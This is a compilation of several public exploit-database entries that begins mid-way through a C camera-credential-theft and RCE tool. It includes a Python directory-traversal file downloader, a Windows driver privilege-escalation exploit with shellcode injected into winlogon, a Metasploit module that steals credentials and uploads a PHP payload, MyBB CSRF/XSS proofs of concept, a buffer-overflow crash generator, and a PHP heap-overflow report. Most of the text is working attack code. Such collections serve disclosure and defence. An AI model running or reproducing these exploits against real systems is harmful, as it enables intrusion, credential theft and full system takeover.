if (send(sock, payload, strlen(payload) , 0) < 0)
{
printf("creds: send failed\n");
return (NULL);
}
if (!(tmp = malloc(10 * 1024 * sizeof(char))))
return (NULL);
if (!(out = calloc(64, sizeof(char))))
return (NULL);
while ((n = recv(sock, buf, sizeof(buf), 0)) > 0)
{
n_total += n;
if (n_total < 1024 * 10)
memcpy(tmp + old_n, buf, n);
if (n >= 0)
old_n = n;
}
close(sock);
/*
[ HTTP HEADERS ]
...
000????: 0000 0a0a 0a0a 01.. .... .... .... ....
^^^^ ^^^^ ^^
Useful reference in the binary data
in order to to find the positions of
credentials
...
...
0000690: 6164 6d69 6e00 0000 0000 0000 0000 0000 admin...........
00006a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00006b0: 6164 6d69 6e00 0000 0000 0000 0000 0000 admin...........
00006c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
...
NOTE: reference can be too:
000????: 0006 0606 0606 0100 000a .... .... ....
Other method: parse everything, find the "admin" string and extract the associated password
by adding 31bytes after the address of 'a'[dmin].
Works if the login is admin (seems to be this by default, but can be changed by the user)
*/
if (get_config)
{
for (unsigned int j = 0; j < n_total && j < 10 * 1024; j++)
printf("%c", tmp[j]);
exit (0);
}
for (unsigned int j = 50; j < 10 * 1024; j++)
{
if (tmp[j - 4] == 0x0a &&
tmp[j - 3] == 0x0a &&
tmp[j - 2] == 0x0a &&
tmp[j - 1] == 0x0a &&
tmp[j] == 0x01)
{
if (j + 170 < 10 * 1024)
{
strcat(out, &tmp[j + 138]);
strcat(out + 32 * sizeof(char), &tmp[j + 170]);
free(tmp);
return (out);
}
}
}
free(tmp);
return (NULL);
}
int rce(char *argv,
char *id,
char attack[],
char desc[])
{
int sock;
struct sockaddr_in serv_addr;
char *payload;
if (!(payload = calloc(512, sizeof(char))))
return (1);
sock = 0;
printf("[+] %s payload ... ", desc);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("Error while creating socket\n");
return (1);
}
memset(&serv_addr, '0', sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(CAM_PORT);
if (inet_pton(AF_INET, argv, &serv_addr.sin_addr) <= 0)
{
printf("Error while inet_pton\n");
return (1);
}
if (connect(sock, (struct sockaddr *)&serv_addr , sizeof(serv_addr)) < 0)
{
printf("rce: connect failed\n");
return (1);
}
sprintf(payload, attack, id, id + 32);
if (send(sock, payload, strlen(payload) , 0) < 0)
{
printf("rce: send failed\n");
return (1);
}
return (0);
}
# Exploit Title: Ulterius Server < 1.9.5.0 Directory Traversal Arbitrary File Access
# Date: 11/13/2017
# Exploit Author: Rick Osgood
# Vendor Homepage: https://ulterius.io/
# Software Link: https://github.com/Ulterius/server/tree/0e4f2113da287aac88a8b4c5f8364a03685d393d
# Version: < 1.9.5.0
# Tested on: Windows Server 2012 R2
# CVE : CVE-2017-16806
#
# You can download almost any file that resides on the same drive letter as Ulterius server.
# Example: http://ulteriusURL:22006/.../.../.../.../.../.../.../.../.../windows/win.ini
#
# Unfortunately, you need to know the path to the file you want to download.
# Fortunately, Ulterius indexes every file on the system, and it's usually stored in the same place:
# http://ulteriusURL:2206/.../fileIndex.db
#
# This script will retrieve the fileIndex.db file for you, decompress it, and process the list to
# make it human readable. Then you can use the same script to download any juicy files you find.
#
# Ulterius writes the following to the fileIndex.db file:
# First four bytes are a timestamp so we can ignore this
# The next four items repeat until the end of the file:
# filename.length (4 bytes?)
# filename
# directory.length (4 bytes?)
# directory
import requests
import sys
import argparse
import zlib
import struct
# This function grabs the filename or file path from the fileIndex
def processChunk(i, data):
length = struct.unpack('B', data[i])[0]
length += struct.unpack('B', data[i+1])[0]
length += struct.unpack('B', data[i+2])[0]
length += struct.unpack('B', data[i+3])[0]
i += 4
filename = data[i:i+length]
i += length
return i, filename
# Main function
def main():
# Parse arguments
parser = argparse.ArgumentParser(description='Ulterius exploit by Rick osgood')
parser.add_argument('url', type=str, nargs='+', help='URL of the Ulterius server including port')
parser.add_argument('--retrieve', metavar='FILEPATH', type=str, nargs='+', help='Retrieve file from server (e.g. c:\windows\win.ini)')
parser.add_argument('--index', help='Retrieve, decompress, and process fileIndex.db (List of all files indexed by Ulterius)', action='store_true')
args = parser.parse_args()
# We are going to retrieve a specified file
if args.retrieve:
fileName = str(args.retrieve[0])
# This works for the default Ulterius install directory.
baseDir = "/.../.../.../.../.../.../.../.../.../"
# Remove slashes from output file name
outFile = fileName.replace('\\','_')
# Remove drive letter and change slashes
if ":\\" in fileName[:3]:
fileName = fileName[3:]
# Replace slashes
fileName = fileName.replace('\\','/') # Replace slashes
# Build URL
url = str(args.url[0]) + baseDir + fileName
print "Retrieving " + url
# Download file
r = requests.get(url=url, stream=True) # Retrieve file
# Write file
f = open(outFile, 'w')
f.write(r.content)
# We are going to download the fileIndex.db file
if args.index:
# Setup the URL
url = args.url[0] + "/.../fileIndex.db"
print "Downloading " + url
# Download file
r = requests.get(url=url, stream=True)
# decompress the data
data = zlib.decompress( r.content, -15 )
# Open output file for writing
f = open('fileIndex.db', 'w')
# Strip off header info (not sure what this is)
data = data[8:]
# Process file names and write to output file
i = 0
while i < len(data):
i, filename = processChunk(i, data) # Get file name
i, directory = processChunk(i, data) # Get file path
i += 8 # Skip the FFFFFFFFFFFFFFFF
f.write(directory + '\\' + filename + '\n') # Write to output file
if __name__ == "__main__":
main()
# Exploit Title: KirbyCMS <2.5.7 Stored Cross Site Scripting
# Vendor Homepage: https://getkirby.com/
# Software Link: https://getkirby.com/try
# Discovered by: Ishaq Mohammed
# Contact: https://twitter.com/security_prince
# Website: https://about.me/security-prince
# Category: webapps
# Platform: PHP
# CVE: CVE-2017-16807
1. Description
A cross-site Scripting (XSS) vulnerability in Kirby Panel before 2.3.3, 2.4.x before 2.4.2, and 2.5.x before 2.5.7 exists when displaying a specially prepared SVG document that has been uploaded as a content file.
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16807
2. Proof of Concept
Steps to Reproduce:
Log in as an Editor and click on Site Options
Add the malicious .svg file which contains the javascript to the Site
Login to another browser with Admin Credentials.
Click on Site Options.
Click on the newly added .svg file
3. Reference
https://securityprince.blogspot.in/2017/11/cve-2017-16807-kirby-cms-257-cross-site.html
https://getkirby.com/changelog/kirby-2-5-7
4. Solution
The vulnerability is patched by the vendor in the version 2.5.7.
/*
Exploit Title - IKARUS anti.virus Arbitrary Write Privilege Escalation
Date - 13th November 2017
Discovered by - Parvez Anwar (@parvezghh)
Vendor Homepage - https://www.ikarussecurity.com/
Tested Version - 2.16.7
Driver Version - 0.18780.0.0 - ntguard_x64.sys
Tested on OS - 64bit Windows 7 and Windows 10 (1709)
CVE ID - CVE-2017-14961
Vendor fix url - Soon to be released
Fixed Version - 2.16.18
Fixed driver ver - 0.43.0.0
Check blogpost for details:
https://www.greyhathacker.net/?p=995
*/
#include <stdio.h>
#include <windows.h>
#include <TlHelp32.h>
#pragma comment(lib,"advapi32.lib")
#define SystemHandleInformation 16
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L)
typedef unsigned __int64 QWORD;
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
QWORD Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
DWORD getProcessId(char* process)
{
HANDLE hSnapShot;
PROCESSENTRY32 pe32;
DWORD pid;
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapShot == INVALID_HANDLE_VALUE)
{
printf("\n[-] Failed to create handle CreateToolhelp32Snapshot()\n\n");
return -1;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapShot, &pe32) == FALSE)
{
printf("\n[-] Failed to call Process32First()\n\n");
return -1;
}
do
{
if (stricmp(pe32.szExeFile, process) == 0)
{
pid = pe32.th32ProcessID;
return pid;
}
} while (Process32Next(hSnapShot, &pe32));
CloseHandle(hSnapShot);
return 0;
}
int spawnShell()
{
// windows/x64/exec - 275 bytes http://www.metasploit.com
// VERBOSE=false, PrependMigrate=false, EXITFUNC=thread, CMD=cmd.exe
char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x6d\x64\x2e\x65\x78\x65\x00";
char* process = "winlogon.exe";
DWORD pid;
HANDLE hProcess;
HANDLE hThread;
LPVOID ptrtomem;
pid = getProcessId(process);
if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)) == NULL)
{
printf("\n[-] Unable to open %s process\n\n", process);
return -1;
}
printf("\n[+] Opened %s process pid=%d with PROCESS_ALL_ACCESS rights", process, pid);
if ((ptrtomem = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE)) == NULL)
{
printf("\n[-] Unable to allocate memory in target process\n\n");
return -1;
}
printf("\n[+] Memory allocated at address 0x%p", ptrtomem);
if (!(WriteProcessMemory(hProcess, (LPVOID)ptrtomem, shellcode, sizeof(shellcode), NULL)))
{
printf("\n[-] Unable to write to process memory\n\n");
return -1;
}
printf("\n[+] Written to allocated process memory");
if ((hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)ptrtomem, NULL, 0, NULL)) == NULL)
{
CloseHandle(hThread);
printf("\n[-] Unable to create remote thread\n\n");
return -1;
}
printf("\n[+] Created remote thread and executed\n\n");
return 0;
}
QWORD TokenAddressCurrentProcess(HANDLE hProcess, DWORD MyProcessID)
{
_NtQuerySystemInformation NtQuerySystemInformation;
PSYSTEM_HANDLE_INFORMATION pSysHandleInfo;
ULONG i;
PSYSTEM_HANDLE pHandle;
QWORD TokenAddress = 0;
DWORD nSize = 4096;
DWORD nReturn;
BOOL tProcess;
HANDLE hToken;
if ((tProcess = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) == FALSE)
{
printf("\n[-] OpenProcessToken() failed (%d)\n", GetLastError());
return -1;
}
NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
if (!NtQuerySystemInformation)
{
printf("[-] Unable to resolve NtQuerySystemInformation\n\n");
return -1;
}
do
{
nSize += 4096;
pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION) HeapAlloc(GetProcessHeap(), 0, nSize);
} while (NtQuerySystemInformation(SystemHandleInformation, pSysHandleInfo, nSize, &nReturn) == STATUS_INFO_LENGTH_MISMATCH);
printf("\n[i] Current process id %d and token handle value %u", MyProcessID, hToken);
for (i = 0; i < pSysHandleInfo->NumberOfHandles; i++)
{
if (pSysHandleInfo->Handles[i].ProcessId == MyProcessID && pSysHandleInfo->Handles[i].Handle == hToken)
{
TokenAddress = pSysHandleInfo->Handles[i].Object;
}
}
HeapFree(GetProcessHeap(), 0, pSysHandleInfo);
return TokenAddress;
}
int main(int argc, char *argv[])
{
QWORD TokenAddressTarget;
QWORD SepPrivilegesOffset = 0x40;
QWORD PresentByteOffset;
QWORD EnableByteOffset;
QWORD TokenAddress;
HANDLE hDevice;
char devhandle[MAX_PATH];
DWORD dwRetBytes = 0;
printf("-------------------------------------------------------------------------------\n");
printf(" IKARUS anti.virus (ntguard_x64.sys) Arbitrary Write EoP Exploit \n");
printf(" Tested on 64bit Windows 7 / Windows 10 (1709) \n");
printf("-------------------------------------------------------------------------------\n");
TokenAddress = TokenAddressCurrentProcess(GetCurrentProcess(), GetCurrentProcessId());
printf("\n[i] Address of current process token 0x%p", TokenAddress);
TokenAddressTarget = TokenAddress + SepPrivilegesOffset;
printf("\n[i] Address of _SEP_TOKEN_PRIVILEGES 0x%p will be overwritten\n", TokenAddressTarget);
PresentByteOffset = TokenAddressTarget + 0x2;
printf("[i] Present bits at 0x%p will be overwritten with 0x11\n", PresentByteOffset);
EnableByteOffset = TokenAddressTarget + 0xa;
printf("[i] Enabled bits at 0x%p will be overwritten with 0x11", EnableByteOffset);
sprintf(devhandle, "\\\\.\\%s", "ntguard");
hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
if(hDevice == INVALID_HANDLE_VALUE)
{
printf("\n[-] Open %s device failed\n\n", devhandle);
return -1;
}
else
{
printf("\n[+] Open %s device successful", devhandle);
}
printf("\n[~] Press any key to continue . . .\n");
getch();
DeviceIoControl(hDevice, 0x8300000c, NULL, 0, (LPVOID)PresentByteOffset, 0, &dwRetBytes, NULL);
DeviceIoControl(hDevice, 0x8300000c, NULL, 0, (LPVOID)EnableByteOffset, 0, &dwRetBytes, NULL);
printf("[+] Overwritten _SEP_TOKEN_PRIVILEGES bits\n");
CloseHandle(hDevice);
printf("[*] Spawning SYSTEM Shell");
spawnShell();
return 0;
}
# Exploit Title: Unrestricted file upload vulnerability - Web Viewer 1.0.0.193 on Samsung SRN-1670D
# Date: 2017-06-19
# Exploit Author: Omar MEZRAG - 0xFFFFFF / www.realistic-security.com
# Vendor Homepage: https://www.hanwhasecurity.com
# Version: Web Viewer 1.0.0.193 on Samsung SRN-1670D
# Tested on: Web Viewer 1.0.0.193
# CVE : CVE-2017-16524
##
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'digest'
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Samsung SRN-1670D - Web Viewer Version 1.0.0.193 Arbitrary File Read & Upload',
'Description' => %q{
This module exploits an Unrestricted file upload vulnerability in
Web Viewer 1.0.0.193 on Samsung SRN-1670D devices: 'network_ssl_upload.php'
allows remote authenticated attackers to upload and execute arbitrary
PHP code via a filename with a .php extension, which is then accessed via a
direct request to the file in the upload/ directory.
To authenticate for this attack, one can obtain web-interface credentials
in cleartext by leveraging the existing Local File Read Vulnerability
referenced as CVE-2015-8279, which allows remote attackers to read the
web interface credentials via a request for the
cslog_export.php?path=/root/php_modules/lighttpd/sbin/userpw URI.
},
'Author' => [
'Omar Mezrag <omar.mezrag@realistic-security.com>', # @_0xFFFFFF
'Realistic Security',
'Algeria'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-16524' ],
[ 'URL', 'https://github.com/realistic-security/CVE-2017-16524' ],
[ 'CVE', '2015-8279' ],
[ 'URL', 'http://blog.emaze.net/2016/01/multiple-vulnerabilities-samsung-srn.html' ]
],
'Privileged' => true,
'Arch' => ARCH_PHP,
'Platform' => 'php',
'Targets' =>
[
['Samsung SRN-1670D == 1.0.0.193', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 14 2017'
))
register_options(
[
OptString.new('RHOST', [ true, 'The target address.' ]),
OptString.new('RPORT', [ true, 'The target port (TCP).', '80' ]),
])
end
def check
#
print_status('Checking version...')
resp = send_request_cgi({
'uri' => "/index",
'version' => '1.1',
'method' => 'GET',
'headers' =>
{
'User-Agent' => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
}
})
unless resp
print_error("Connection timed out.")
return Exploit::CheckCode::Unknown
end
# <!--------------------------------- File Version 1.0.0.193 --------------------------------->
version = nil
if resp and resp.code == 200 and resp.body.match(/Web Viewer for Samsung NVR/)
if resp.body =~ /File Version (\d+\.\d+\.\d+\.\d+)/
version = $1
if version == '1.0.0.193'
print_good "Found vesrion: #{version}"
return Exploit::CheckCode::Appears
end
end
end
Exploit::CheckCode::Safe
end
def exploit
print_status('Obtaining credentails...')
resp = send_request_cgi({
'uri' => "/cslog_export.php",
'version' => '1.1',
'method' => 'GET',
'vars_get'=>
{
'path' => '/root/php_modules/lighttpd/sbin/userpw',
'file' => 'foo'
},
'headers' =>
{
'User-Agent' => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
}
})
unless resp
print_error("Connection timed out.")
return Exploit::CheckCode::Unknown
end
if resp and resp.code == 200 and resp.body !~ /Authentication is failed/ and resp.body !~ /File not found/
username = resp.body.split(':')[0]
password = resp.body.split(':')[1].gsub("\n",'')
print_good "Credentials obtained successfully: #{username}:#{password}"
data1 = Rex::Text.encode_base64("#{username}")
data2 = Digest::SHA256.hexdigest("#{password}")
randfloat = Random.new
data3 = randfloat.rand(0.9)
data4 = data3
print_status('Logging...')
resp = send_request_cgi({
'uri' => "/login",
'version' => '1.1',
'method' => 'POST',
'vars_post'=>
{
'data1' => data1,
'data2' => data2,
'data3' => data3,
'data4' => data4
},
'headers' =>
{
'User-Agent' => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)",
'DNT' => "1",
'Cookie' => "IESEVEN=1"
}
})
unless resp
print_error("Connection timed out.")
return Exploit::CheckCode::Unknown
end
if resp and resp.code == 200 and resp.body !~ /ID incorrecte/ and resp.body =~ /setCookie\('NVR_DATA1/
print_good('Authentication Succeeded')
nvr_d1 = $1 if resp.body =~ /setCookie\('NVR_DATA1', '(\d\.\d+)'/
nvr_d2 = $1 if resp.body =~ /setCookie\('NVR_DATA2', '(\d+)'/
nvr_d3 = $1 if resp.body =~ /setCookie\('NVR_DATA3', '(0x\h\h)'/
nvr_d4 = $1 if resp.body =~ /setCookie\('NVR_DATA4', '(0x\h\h)'/
nvr_d7 = $1 if resp.body =~ /setCookie\('NVR_DATA7', '(\d)'/
nvr_d8 = $1 if resp.body =~ /setCookie\('NVR_DATA8', '(\d)'/
nvr_d9 = $1 if resp.body =~ /setCookie\('NVR_DATA9', '(0x\h\h)'/
cookie = "IESEVEN=1; NVR_DATA1=#{nvr_d1}; NVR_DATA2=#{nvr_d2}; NVR_DATA3=#{nvr_d3}; NVR_DATA4=#{nvr_d4}; NVR_DATA7=#{nvr_d7}; NVR_DATA8=#{nvr_d8}; NVR_DATA9=#{nvr_d9}"
payload_name = "#{rand_text_alpha(8)}.php"
print_status("Generating payload[ #{payload_name} ]...")
php_payload = get_write_exec_payload(:unlink_self=>true)
print_status('Uploading payload...')
data = Rex::MIME::Message.new
data.add_part("2", nil, nil, 'form-data; name="is_apply"')
data.add_part("1", nil, nil, 'form-data; name="isInstall"')
data.add_part("0", nil, nil, 'form-data; name="isCertFlag"')
data.add_part(php_payload, 'application/x-httpd-php', nil, "form-data; name=\"attachFile\"; filename=\"#{payload_name}\"")
post_data = data.to_s
resp = send_request_cgi({
'uri' => normalize_uri('/network_ssl_upload.php'),
'method' => 'POST',
'vars_get' =>
{
'lang' => 'en'
},
'headers' =>
{
'User-Agent' => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
},
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => cookie,
'data' => post_data
})
unless resp
print_error("Connection timed out.")
return Exploit::CheckCode::Unknown
end
if resp and resp.code == 200
print_status('Executing payload...')
upload_uri = normalize_uri("/upload/" + payload_name)
send_request_cgi({
'uri' => upload_uri,
'method' => 'GET'
},5)
unless resp
print_error("Connection timed out.")
return Exploit::CheckCode::Unknown
end
if resp and resp.code != 200
print_error("Failed to upload")
end
else
print_error("Failed to upload")
end
else
print_error("Authentication failed")
end
else
print_error "Error obtaining credentails"
end
end
end
# Exploit Title: RCE in MyBB up to 1.8.13 via installer
# Date: Found on 05-29-2017
# Exploit Author: Pablo Sacristan
# Vendor Homepage: https://mybb.com/
# Version: Version > 1.8.13 (Fixed in 1.8.13)
# CVE : CVE-2017-16780
This RCE can be executed via CSRF but doesn't require it (in some special cases). The requirements are there shouldn't be a lock in the /install/ directory and then if you have access to the install directory you don't need CSRF, but if you don't then you need CSRF. I have included a patch and a description. The exploit will write PHP code to /inc/config.php which is then 'REQUIRE'd in most of the pages in MyBB, the PoC will just write lollol to the top of every page in MyBB. I also have an XSS but that I will report later.
There is a CSRF vulnerability in MyBB /install/index.php which can be used to inject PHP code into /inc/config.php which is then used in most of the pages (require MYBB_ROOT."/inc/config.php" is in most of the pages).
The vulnerability exists in the table creation process for sqlite databases, this is because the Database Path is then inserted into the /inc/config.php file in line 11 as $config['database']['database'] = 'DB Path';
The vulnerability occurs because MyBB doesn't properly escape the Database Path, allowing an attacker to easily inject PHP by inserting a DB Path of : lol'; echo 'lol this will not cause any parse errors since there will be a : '; added at the end. Of course the attacker can easily just execute code in the server, getting backdoor access to the server easily.
A PoC would be to host a site like this:
<form name="x" action="http://localhost/install/index.php" method="post">
<input type="hidden" name='dbengine' value="sqlite">
<input type="hidden" name='config[sqlite][dbname]' value="lol'; echo 'lol">
<input type="hidden" name='config[sqlite][tableprefix]' value="mybb_">
<input type="hidden" name='action' value="create_tables">
</form>
<script>document.x.submit();</script>
And when a victim logged in as admin to a MyBB website visits this site they will have a "lollol" at the top of every page (or you can also make it do much more malicious things).
A simple patch would be to change /install/index.php:1410 to:
if(strstr($config['dbname'], "./") !== false || strstr($config['dbname'], "../") !== false || strstr($config['dbname'], "'") !== false || empty($config['dbname']))
#!/usr/bin/python
#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: Xlight FTP Server (x86/x64) - Buffer Overflow Crash (PoC)
# Date: 07-11-2017
# Vulnerable Software: Xlight FTP Server v3.8.8.5 (x86/x64)
# Vendor Homepage: http://www.xlightftpd.com/
# Version: v3.8.8.5 (x86/x64)
# Software Link: http://www.xlightftpd.com/download/
# Tested On: Windows 7 x64
#
#
# PoC: generate crash.txt, copy contents to clipboard, paste in any of the vulnerable fields
#
# 1. Generate crash.txt, open, and copy contents to clipboard
# 2. In Xlight Server, open Global Options > Log > Session Log - Advanced Options > Setup
# 3. Select Filtering log by users > Setup
# 4. Add User
# 5. Paste crash.txt contents
# 6. Application crashes
#
# Additional vulnerable fields:
# Global Options > Log > Session Log - Advanced Options > Setup > Filtering log by groups > Setup > Add Group
# Virtual Server > Modify Virtual Server Configuration > Advanced > Misc > Execute a program after user logged in > Setup
#
#
file="crash.txt"
#file="crash64.txt"
crash = "A"*260 #crashes on 260 for x86, but more will do
#crash64 = "A"*272 #crashes on 272 for x64, but more will do
writeFile = open (file, "w")
writeFile.write( crash )
#writeFile.write( crash64 )
writeFile.close()
# Exploit Title: XSS in MyBB up to 1.8.13 via installer
# Date: Found on 05-29-2017
# Exploit Author: Pablo Sacristan
# Vendor Homepage: https://mybb.com/
# Version: Version > 1.8.13 (Fixed in 1.8.13)
# CVE : CVE-2017-16781
No HTML escaping when returning an $error in /install/index.php can
lead to an XSS which can be used to take over an attacker account.
The vulnerability occurs in /install/index.php:2503 and occurs because
there is no html encoding of the $error. A simple way to exploit this
is to create an error by using the Database Server Hostname and
inserting HTML characters there.
It is a POST XSS and this is a PoC:
<form name="x" action="http://target.com/install/index.php" method="post">
<input type="hidden" name='dbengine' value="mysqli">
<input type="hidden" name='config[mysqli][dbhost]' value="<img src=x onerror=alert(0)>">
<input type="hidden" name='config[mysqli][dbuser]' value="lol">
<input type="hidden" name='config[mysqli][dbpass]' value="lol">
<input type="hidden" name='config[mysqli][dbname]' value="lol">
<input type="hidden" name='config[mysqli][tableprefix]' value="lol">
<input type="hidden" name='config[mysqli][encoding]' value="utf8">
<input type="hidden" name='config[mysql][dbhost]' value="localhost">
<input type="hidden" name='action' value="create_tables">
</form>
<script>document.x.submit();</script>
Using this attack you can steal the cookies and you can install the MyBB server as you want, giving you almost full control over the MyBB server.
A simple fix would be to change the function error_list($array) to:
function error_list($array)
{
$string = "<ul>\n";
foreach($array as $error)
{
$string .= "<li>";
$string .= htmlspecialchars($error);
$string .= "</li>";
}
$string .= "</ul>\n";
return $string;
}
Description:
------------
A heap out-of-bound read vulnerability in timelib_meridian() can be triggered via wddx_deserialize() or other vectors that call into this function on untrusted inputs.
$ ~/php-7.1.8/sapi/cli/php --version
PHP 7.1.8 (cli) (built: Aug 9 2017 21:42:13) ( NTS )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.1.0, Copyright (c) 1998-2017 Zend Technologies
Configuration:
CC="`which gcc`" CFLAGS="-O0 -g -fsanitize=address" ./configure --disable-shared --enable-wddx
Credit:
Wei Lei and Liu Yang of Nanyang Technological University
Test script:
---------------
$ cat wddx.php
*/
<?php
$argc = $_SERVER['argc'];
$argv = $_SERVER['argv'];
$dir_str = dirname(__FILE__);
$file_str = ($dir_str)."/".$argv[1];
if (!extension_loaded('wddx')) print "wddx not loaded.\n";
$wddx_str = file_get_contents($file_str);
print strlen($wddx_str) . " bytes read.\n";
var_dump(wddx_deserialize($wddx_str));
?>
/*
$ cat repro2.wddx
<?xml version='1.0'?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
<header/>
<data>
<struct>
<var name='aDateTime'>
<dateTime>frONt of 0 0</dateTime>
</var>
</struct>
</data>
</wddxPacket>
/*
Expected result:
----------------
NO CRASH
Actual result:
--------------
$ ~/php-7.1.8/sapi/cli/php wddx.php repro2.wddx
309 bytes read.
=================================================================
==13788== ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb57057fc at pc 0x809b622 bp 0xbf9d09d8 sp 0xbf9d09cc
READ of size 1 at 0xb57057fc thread T0
#0 0x809b621 in timelib_meridian /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:410
#1 0x80e0293 in scan /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:18228
#2 0x80f0710 in timelib_strtotime /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:23194
#3 0x806afed in php_parse_date /home/weilei/php-7.1.8/ext/date/php_date.c:1455
#4 0x8a2c588 in php_wddx_process_data /home/weilei/php-7.1.8/ext/wddx/wddx.c:1071
#5 0x8a40f7b in _cdata_handler /home/weilei/php-7.1.8/ext/xml/compat.c:265
#6 0xb5cc06b5 in xmlParseCharData__internal_alias /home/weilei/libxml2/parser.c:4597
#7 0xb5d129be in xmlParseTryOrFinish /home/weilei/libxml2/parser.c:11715
#8 0xb5d1a462 in xmlParseChunk__internal_alias /home/weilei/libxml2/parser.c:12454
#9 0x8a42de6 in php_XML_Parse /home/weilei/php-7.1.8/ext/xml/compat.c:600
#10 0x8a2c974 in php_wddx_deserialize_ex /home/weilei/php-7.1.8/ext/wddx/wddx.c:1105
#11 0x8a2f394 in zif_wddx_deserialize /home/weilei/php-7.1.8/ext/wddx/wddx.c:1323
#12 0x8ddcd0b in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:675
#13 0x8dd70df in execute_ex /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:429
#14 0x8dd8845 in zend_execute /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:474
#15 0x8c32247 in zend_execute_scripts /home/weilei/php-7.1.8/Zend/zend.c:1476
#16 0x8a5fbc5 in php_execute_script /home/weilei/php-7.1.8/main/main.c:2537
#17 0x90f5a70 in do_cli /home/weilei/php-7.1.8/sapi/cli/php_cli.c:993
#18 0x90f834b in main /home/weilei/php-7.1.8/sapi/cli/php_cli.c:1381
#19 0xb5ab9a82 (/lib/i386-linux-gnu/libc.so.6+0x19a82)
#20 0x8065230 in _start (/home/weilei/php-7.1.8/sapi/cli/php+0x8065230)
0xb57057fc is located 0 bytes to the right of 12-byte region [0xb57057f0,0xb57057fc)
allocated by thread T0 here:
#0 0xb6168854 (/usr/lib/i386-linux-gnu/libasan.so.0+0x16854)
#1 0x8b73387 in __zend_malloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2820
